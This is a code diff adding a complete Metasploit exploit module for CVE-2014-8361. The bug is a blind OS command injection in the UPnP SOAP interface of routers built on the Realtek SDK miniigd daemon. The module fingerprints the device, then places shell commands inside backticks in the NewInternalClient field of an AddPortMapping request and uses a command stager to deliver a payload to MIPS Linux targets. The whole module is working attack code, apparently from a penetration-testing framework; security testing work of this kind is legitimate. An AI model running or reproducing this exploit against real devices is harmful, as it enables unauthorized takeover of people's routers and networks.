|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::CmdStager |
| 13 | + include REXML |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Realtek SDK Miniigd UPnP SOAP Command Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command |
| 20 | + injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, |
| 21 | + there is no output for the executed command. This module has been tested successfully on a |
| 22 | + Trendnet TEW-731BR router with emulation. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Ricky "HeadlessZeke" Lawshae', # Vulnerability discovery |
| 27 | + 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + ['CVE', '2014-8361'], |
| 33 | + ['ZDI', '15-155'], |
| 34 | + ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Software-Development-KITchen-sink/ba-p/6745115#.VWVfsM_tmko'], |
| 35 | + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10055'] |
| 36 | + ], |
| 37 | + 'DisclosureDate' => 'Apr 24 2015', |
| 38 | + 'Privileged' => true, |
| 39 | + 'Payload' => |
| 40 | + { |
| 41 | + 'DisableNops' => true |
| 42 | + }, |
| 43 | + 'Targets' => |
| 44 | + [ |
| 45 | + [ 'MIPS Little Endian', |
| 46 | + { |
| 47 | + 'Platform' => 'linux', |
| 48 | + 'Arch' => ARCH_MIPSLE |
| 49 | + } |
| 50 | + ], |
| 51 | + [ 'MIPS Big Endian', |
| 52 | + { |
| 53 | + 'Platform' => 'linux', |
| 54 | + 'Arch' => ARCH_MIPSBE |
| 55 | + } |
| 56 | + ] |
| 57 | + ], |
| 58 | + 'DefaultTarget' => 0 |
| 59 | + )) |
| 60 | + |
| 61 | + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') |
| 62 | + |
| 63 | + register_options( |
| 64 | + [ |
| 65 | + Opt::RPORT(52869) # port of UPnP SOAP webinterface |
| 66 | + ], self.class) |
| 67 | + end |
| 68 | + |
| 69 | + def check |
| 70 | + begin |
| 71 | + res = send_request_cgi({ |
| 72 | + 'uri' => '/picsdesc.xml' |
| 73 | + }) |
| 74 | + if res && [200, 301, 302].include?(res.code) && res.headers['Server'] =~ /miniupnpd\/1.0 UPnP\/1.0/ |
| 75 | + return Exploit::CheckCode::Detected |
| 76 | + end |
| 77 | + rescue ::Rex::ConnectionError |
| 78 | + return Exploit::CheckCode::Unknown |
| 79 | + end |
| 80 | + |
| 81 | + Exploit::CheckCode::Unknown |
| 82 | + end |
| 83 | + |
| 84 | + def exploit |
| 85 | + print_status("#{peer} - Trying to access the device ...") |
| 86 | + |
| 87 | + unless check == Exploit::CheckCode::Detected |
| 88 | + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") |
| 89 | + end |
| 90 | + |
| 91 | + print_status("#{peer} - Exploiting...") |
| 92 | + |
| 93 | + execute_cmdstager( |
| 94 | + :flavor => :echo, |
| 95 | + :linemax => 50, |
| 96 | + :nodelete => true |
| 97 | + ) |
| 98 | + end |
| 99 | + |
| 100 | + def execute_command(cmd, opts) |
| 101 | + uri = '/wanipcn.xml' |
| 102 | + soap_action = 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping' |
| 103 | + data_cmd = '<?xml version="1.0"?>' + build_soap_req |
| 104 | + |
| 105 | + begin |
| 106 | + res = send_request_cgi({ |
| 107 | + 'uri' => uri, |
| 108 | + 'vars_get' => { |
| 109 | + 'service' => 'WANIPConn1' |
| 110 | + }, |
| 111 | + 'ctype' => 'text/xml', |
| 112 | + 'method' => 'POST', |
| 113 | + 'headers' => { |
| 114 | + 'SOAPAction' => soap_action |
| 115 | + }, |
| 116 | + 'data' => data_cmd.gsub(/CMD_HERE/, "`#{cmd.gsub(/\\/, '\\\\\\\\\\')}`") |
| 117 | + }) |
| 118 | + return res |
| 119 | + rescue ::Rex::ConnectionError |
| 120 | + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") |
| 121 | + end |
| 122 | + end |
| 123 | + |
| 124 | + def build_soap_req |
| 125 | + new_external_port = rand(32767) + 32768 |
| 126 | + new_internal_port = rand(32767) + 32768 |
| 127 | + |
| 128 | + xml = Document.new |
| 129 | + |
| 130 | + xml.add_element( |
| 131 | + 'SOAP-ENV:Envelope', |
| 132 | + { |
| 133 | + 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/', |
| 134 | + 'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/' |
| 135 | + }) |
| 136 | + |
| 137 | + xml.root.add_element('SOAP-ENV:Body') |
| 138 | + |
| 139 | + body = xml.root.elements[1] |
| 140 | + |
| 141 | + body.add_element( |
| 142 | + 'm:AddPortMapping', |
| 143 | + { |
| 144 | + 'xmlns:m' => 'urn:schemas-upnp-org:service:WANIPConnection:1' |
| 145 | + }) |
| 146 | + |
| 147 | + port_mapping = body.elements[1] |
| 148 | + port_mapping.add_element('NewLeaseDuration') |
| 149 | + port_mapping.add_element('NewInternalClient') |
| 150 | + port_mapping.add_element('NewEnabled') |
| 151 | + port_mapping.add_element('NewExternalPort') |
| 152 | + port_mapping.add_element('NewRemoteHost') |
| 153 | + port_mapping.add_element('NewProtocol') |
| 154 | + port_mapping.add_element('NewInternalPort') |
| 155 | + |
| 156 | + port_mapping.elements['NewLeaseDuration'].text = '' |
| 157 | + port_mapping.elements['NewInternalClient'].text = 'CMD_HERE' |
| 158 | + port_mapping.elements['NewEnabled'].text = '1' |
| 159 | + port_mapping.elements['NewExternalPort'].text = "#{new_external_port}" |
| 160 | + port_mapping.elements['NewRemoteHost'].text = '' |
| 161 | + port_mapping.elements['NewProtocol'].text = 'TCP' |
| 162 | + port_mapping.elements['NewInternalPort'].text = "#{new_internal_port}" |
| 163 | + |
| 164 | + xml.to_s |
| 165 | + end |
| 166 | + |
| 167 | +end |
0 commit comments